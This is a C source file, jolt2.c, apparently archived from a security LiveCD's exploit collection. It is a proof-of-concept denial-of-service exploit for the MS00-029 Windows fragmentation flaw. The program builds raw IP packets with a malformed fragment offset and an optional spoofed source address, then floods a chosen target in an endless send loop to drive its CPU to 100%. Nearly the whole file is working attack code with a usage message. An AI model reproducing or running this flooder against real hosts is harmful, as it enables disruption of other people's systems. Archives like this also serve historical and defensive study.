home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / jolt2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  168 lines

  1. /*
  2.  * File:   jolt2.c
  3.  * Author: Phonix <phonix@moocow.org>
  4.  * Date:   23-May-00
  5.  *
  6.  * Description: This is the proof-of-concept code for the
  7.  *              Windows denial-of-serice attack described by
  8.  *              the Razor team (NTBugtraq, 19-May-00)
  9.  *              (MS00-029).  This code causes cpu utilization
  10.  *              to go to 100%.
  11.  *
  12.  * Tested against: Win98; NT4/SP5,6; Win2K
  13.  *
  14.  * Written for: My Linux box.  YMMV.  Deal with it.
  15.  *
  16.  * Thanks: This is standard code.  Ripped from lots of places.
  17.  *         Insert your name here if you think you wrote some of
  18.  *         it.  It's a trivial exploit, so I won't take credit
  19.  *         for anything except putting this file together.
  20.  */
  21.  
  22. #include <stdio.h>
  23. #include <string.h>
  24. #include <netdb.h>
  25. #include <sys/socket.h>
  26. #include <sys/types.h>
  27. #include <netinet/in.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/ip_icmp.h>
  30. #include <netinet/udp.h>
  31. #include <arpa/inet.h>
  32. #include <getopt.h>
  33.  
  34. struct _pkt
  35. {
  36.   struct iphdr    ip;
  37.   union {
  38.     struct icmphdr  icmp;
  39.     struct udphdr   udp;
  40.   }  proto;
  41.   char data;
  42. } pkt;
  43.  
  44. int icmplen  = sizeof(struct icmphdr),
  45.     udplen   = sizeof(struct udphdr),
  46.     iplen    = sizeof(struct iphdr),
  47.     spf_sck;
  48.  
  49. void usage(char *pname)
  50. {
  51.   fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n",
  52.            pname);
  53.   fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
  54.   exit(0);
  55. }
  56.  
  57. u_long host_to_ip(char *host_name)
  58. {
  59.   static  u_long ip_bytes;
  60.   struct hostent *res;
  61.  
  62.   res = gethostbyname(host_name);
  63.   if (res == NULL)
  64.     return (0);
  65.   memcpy(&ip_bytes, res->h_addr, res->h_length);
  66.   return (ip_bytes);
  67. }
  68.  
  69. void quit(char *reason)
  70. {
  71.   perror(reason);
  72.   close(spf_sck);
  73.   exit(-1);
  74. }
  75.  
  76. int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
  77. {
  78.   int     bs, psize;
  79.   unsigned long x;
  80.   struct  sockaddr_in to;
  81.  
  82.   to.sin_family = AF_INET;
  83.   to.sin_port = 1235;
  84.   to.sin_addr.s_addr = dst_addr;
  85.  
  86.   if (port)
  87.     psize = iplen + udplen + 1;
  88.   else
  89.     psize = iplen + icmplen + 1;
  90.   memset(&pkt, 0, psize);
  91.  
  92.   pkt.ip.version = 4;
  93.   pkt.ip.ihl = 5;
  94.   pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  95.   pkt.ip.id = htons(0x455);
  96.   pkt.ip.ttl = 255;
  97.   pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  98.   pkt.ip.saddr = src_addr;
  99.   pkt.ip.daddr = dst_addr;
  100.   pkt.ip.frag_off = htons (8190);
  101.  
  102.   if (port)
  103.   {
  104.     pkt.proto.udp.source = htons(port|1235);
  105.     pkt.proto.udp.dest = htons(port);
  106.     pkt.proto.udp.len = htons(9);
  107.     pkt.data = 'a';
  108.   } else {
  109.     pkt.proto.icmp.type = ICMP_ECHO;
  110.     pkt.proto.icmp.code = 0;
  111.     pkt.proto.icmp.checksum = 0;
  112.   }
  113.  
  114.   while (1) {
  115.     bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
  116.               sizeof(struct sockaddr));
  117.   }
  118.   return bs;
  119. }
  120.  
  121. int main(int argc, char *argv[])
  122. {
  123.   u_long  src_addr, dst_addr;
  124.   int i, bs=1, port=0;
  125.   char hostname[32];
  126.  
  127.   if (argc < 2)
  128.     usage (argv[0]);
  129.  
  130.   gethostname (hostname, 32);
  131.   src_addr = host_to_ip(hostname);
  132.  
  133.   while ((i = getopt (argc, argv, "s:p:h")) != EOF)
  134.   {
  135.     switch (i)
  136.     {
  137.       case 's':
  138.         dst_addr = host_to_ip(optarg);
  139.         if (!dst_addr)
  140.           quit("Bad source address given.");
  141.         break;
  142.  
  143.       case 'p':
  144.         port = atoi(optarg);
  145.         if ((port <=0) || (port > 65535))
  146.           quit ("Invalid port number given.");
  147.         break;
  148.  
  149.       case 'h':
  150.       default:
  151.         usage (argv[0]);
  152.     }
  153.   }
  154.  
  155.   dst_addr = host_to_ip(argv[argc-1]);
  156.   if (!dst_addr)
  157.     quit("Bad destination address given.");
  158.  
  159.   spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  160.   if (!spf_sck)
  161.     quit("socket()");
  162.   if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
  163.       sizeof(bs)) < 0)
  164.     quit("IP_HDRINCL");
  165.  
  166.   do_frags (spf_sck, src_addr, dst_addr, port);
  167. }
  168.